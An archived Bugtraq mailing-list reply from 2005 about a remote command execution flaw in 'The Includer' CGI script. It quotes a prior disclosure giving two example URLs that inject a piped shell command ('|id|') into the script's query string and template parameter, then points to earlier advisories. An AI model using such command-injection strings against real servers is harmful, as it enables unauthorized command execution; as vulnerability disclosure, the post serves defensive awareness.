<a href="http://g.adspeed.net/ad.php?do=clk&zid=14678&wd=728&ht=90&pair=as" target="_top"><img style="border:0px;" src="http://g.adspeed.net/ad.php?do=img&zid=14678&wd=728&ht=90&pair=as" alt="i" width="728" height="90"/></a>

Nmap Security Scanner

Docs
Security Lists

Full Disclosure

More
Security Tools

Packet crafters

More
Site News
Site Search:
Exploit World
Advertising
About/Contact
Credits
Sponsors:

edgeos

Bugtraq: Re: Remote Command Execution

Re: Remote Command Execution

From: BoI base <postbase_at_mail.ru>
Date: Tue, 8 Mar 2005 03:42:43 +0300

Hi.

FA> Remote Command Execution

FA> Script: The Includer ( www.smarterscripts.com/includer/ )

FA> Remote Command Execution on:

FA> Example I.: www.host-vulnerable.com/includer.cgi?|id|
FA> Example II.: www.host-vulnerable.com/includer.cgi?template=|id|

FA> Sorry if the bug is already posted ;)
It was posted a long time ago. 8))

Also we know about vulnerabilities in Includer 1.1 and Executer 1.0
Advisories:
http://www.boiteam.net/?x=articles&id=8
http://www.boiteam.net/?x=articles&id=9
+ article 0x09 in CodePimps #6 (http://cp.boiteam.net)

-- 
Best regards, Xanders mailto:postbase_at_mail.ru

Received on Mar 08 2005

This message: [ Message body ]
Next message: Walton, John Michael (John): "RE: Avaya IP Office Phone Manager - Sensitive Information Cleartext Vulnerability"
Previous message: Altrus Wollesen: "PE Multiple Remote Access Validation Vulnerabilities (Participate Systems Inc. / Outstart Inc.)"
In reply to: Francisco Alisson: "Remote Command Execution"
Next in thread: BoI base: "Re: Remote Command Execution"

Contemporary messages sorted: [ by date ] [ by thread ] [ by subject ] [ by author ] [ by messages with attachments ]

[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]

edgeos